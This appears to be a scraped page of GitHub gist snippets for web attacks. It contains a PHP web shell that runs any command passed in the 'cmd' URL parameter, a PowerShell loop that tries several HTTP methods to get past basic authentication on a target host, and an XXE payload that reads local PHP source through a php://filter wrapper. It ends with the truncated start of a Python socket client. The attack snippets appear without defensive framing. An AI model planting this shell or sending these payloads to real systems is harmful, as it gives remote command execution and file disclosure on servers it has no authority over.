This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- PHP shell_exec() --> | |
<?php | |
if (isset($_GET["cmd"])){ | |
$out=shell_exec($_GET["cmd"]); | |
echo($out); | |
} | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Bypass basic http authentication by method tempering | |
$http_methods = "GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE" | |
foreach ($method in $http_methods){ | |
Try{ | |
$response = Invoke-WebRequest 'http://vuln.host' -Method $method | |
Write-Host ("Vulnerable for $method method") | |
}Catch{} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- Read Local Files using a PHP wrapper --> | |
<?xml version="1.0" encoding="utf-8"?> | |
<!DOCTYPE foo [ | |
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]> | |
<rss version="2.0"> | |
<channel> | |
<title>Example Feed</title> | |
<description>Insert witty or insightful remark here</description> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import _thread | |
import time | |
class SocketClient: | |
""" | |
Connect to a socket and send messages, | |
Background forever thread for a reliable connection | |
""" |
NewerOlder